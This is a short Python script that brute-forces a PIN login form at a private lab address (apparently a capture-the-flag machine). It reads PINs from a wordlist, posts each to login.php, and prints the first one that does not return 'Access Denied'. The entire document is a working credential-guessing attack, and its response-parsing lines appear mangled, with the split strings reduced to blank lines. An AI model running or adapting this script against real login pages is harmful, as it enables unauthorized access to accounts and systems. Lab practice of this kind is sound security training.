#!/usr/bin/env python3 import requests url = 'http://10.10.136.61:8000/login.php' def login(pin): r = requests.post(url, data = { 'pin': pin }, allow_redirects=True) return r #print(login('123').text) with open('pw.lst', 'r') as fh: pins = [ line.strip() for line in fh.read().split('\n') if line ] for pin in pins: res = login(pin).text data = res.split('

')[-1] data = data.split('

')[0] if data != 'Access Denied': print(f'The PIN is: {pin}') break